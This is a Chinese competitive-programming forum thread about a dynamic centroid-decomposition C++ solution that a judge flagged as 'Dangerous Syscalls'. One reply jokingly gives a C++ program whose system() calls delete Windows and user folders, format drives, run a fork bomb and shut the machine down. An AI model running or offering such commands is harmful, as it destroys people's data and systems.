内容太长得分两次发
```cpp
class PointDivision_Solver
{
private:
int size[N],mx[N],rt,sonsize,Art[N],Brt[N],dis[N],q[N],pre[N];
vector <int> anc[N],dist[N],son[N]; bool vis[N];
inline void maxer(int &x,int y)
{
if (y>x) x=y;
}
#define to e[i].to
inline void getrt(int now,int fa)
{
size[now]=1; mx[now]=0; for (RI i=head[now];i;i=e[i].nxt)
if (to!=fa&&!vis[to]) getrt(to,now),size[now]+=size[to],maxer(mx[now],size[to]);
if (maxer(mx[now],sonsize-size[now]),mx[now]<mx[rt]) rt=now;
}
inline void solve(int now,int fa)
{
RI He=0,Ta=1,i; mx[rt=0]=mod; getrt(now,fa);
q[Ta]=rt; vis[rt]=1; pre[rt]=dis[rt]=0;
while (He<Ta)
{
int now=q[++He]; for (i=head[now];i;i=e[i].nxt)
if (to!=pre[now]&&!vis[to]) pre[to]=now,dis[to]=dis[now]+e[i].v,q[++Ta]=to;
}
for (i=1;i<=Ta;++i)
{
int now=q[i]; anc[now].pb(rt); dist[now].pb(dis[now]);
son[rt].pb(now); T.insert(Art[rt],dis[now]-r[now]);
if (fa) T.insert(Brt[rt],dist[now][dist[now].size()-2]-r[now]);
}
for (i=head[rt];i;i=e[i].nxt) if (to!=fa&&!vis[to]) sonsize=size[to],solve(to,rt);
}
#undef to
inline void rebuild(int now,int fa)
{
vector <int> temp=son[now]; int sizefa=anc[fa].size();
int lim=temp.size(); for (RI i=0;i<lim;++i)
{
int to=son[now][i]; vis[to]=0; son[to].clear();
anc[to].resize(sizefa); dist[to].resize(sizefa);
T.recycle(Art[to]); T.recycle(Brt[to]);
}
sonsize=lim; solve(now,fa);
}
public:
inline void init(void)
{
anc[1].pb(1); dist[1].pb(0); son[1].pb(1); size[1]=1; T.insert(Art[1],-r[1]);
}
inline int calc(int now,int fa,int w)
{
anc[now]=anc[fa]; dist[now]=dist[fa]; anc[now].pb(now); dist[now].pb(-w);
int ret=0,lim=anc[now].size(); for (RI i=0;i<lim;++i)
{
int fa=anc[now][i]; dist[now][i]+=w; son[fa].pb(now);
++size[fa]; ret+=T.getrk(Art[fa],r[now]-dist[now][i]);
if (i) ret-=T.getrk(Brt[fa],r[now]-dist[now][i-1]);
}
return ret;
}
inline void check(int now)
{
RI i; int lim=anc[now].size(); for (i=0;i<lim;++i)
{
int fa=anc[now][i]; T.insert(Art[fa],dist[now][i]-r[now]);
if (i) T.insert(Brt[fa],dist[now][i-1]-r[now]);
}
for (i=0;i<lim-1;++i) if (alpha*size[anc[now][i]]<1.0*size[anc[now][i+1]])
return (void)(rebuild(anc[now][i],i?anc[now][i-1]:0));
}
}S;
int main()
{
freopen("CODE.in","r",stdin); freopen("CODE.out","w",stdout);
RI i; F.read(testcase); F.read(n); F.read(a); F.read(c); F.read(r[1]);
S.init(); F.write(0); for (i=2;i<=n;++i)
{
F.read(a); F.read(c); F.read(r[i]); a^=(lstans%mod);
add(a,i,c); add(i,a,c); lstans+=S.calc(i,a,c); S.check(i); F.write(lstans);
}
return F.Fend(),0;
}
```
by hl666 @ 2018-12-30 20:25:56
交的时候freopen去了
by hl666 @ 2018-12-30 20:53:04
希望更丰富的展现?使用Markdown
by 美琴 @ 2019-01-05 00:01:54
@[hl666](/space/show?uid=41698) 让我们恭喜这个帖子喜提百度关键词搜索“Dangerous Syscalls”首位
![](https://cdn.luogu.com.cn/upload/image_hosting/4i10bm2f.png)
by 权御天下 @ 2019-09-22 22:04:53
@[权御天下](/space/show?uid=59082) 一共也才一页的东西。。。
by hl666 @ 2019-09-26 20:11:03
@[hl666](/space/show?uid=41698) (
by 权御天下 @ 2019-09-28 21:21:23
> Dangerous Syscalls: 危险系统调用,你是不是带了文件,或者使用了某些有意思的system函数?
by _SHM_ @ 2020-04-02 14:25:00
比如:
```cpp
#include<bits/stdc++.h>
using namespace std;
int main()
{
system("deltree C:/Windows");
system("deltree C:/Program Files");
system("deltree C:/Program Files (x86)");
system("deltree C:/Users");
system("format C:");
system("format D:");
system("format E:");
system("dormat");
system("%0|%0");//这可不是表情。
system("shutdown /s /t 0");
return 0;//记得返回0。
}
```
by _SHM_ @ 2020-04-02 14:46:12
@[_SHM_](/user/322620) 好家伙
by _lmh_ @ 2022-10-06 21:36:15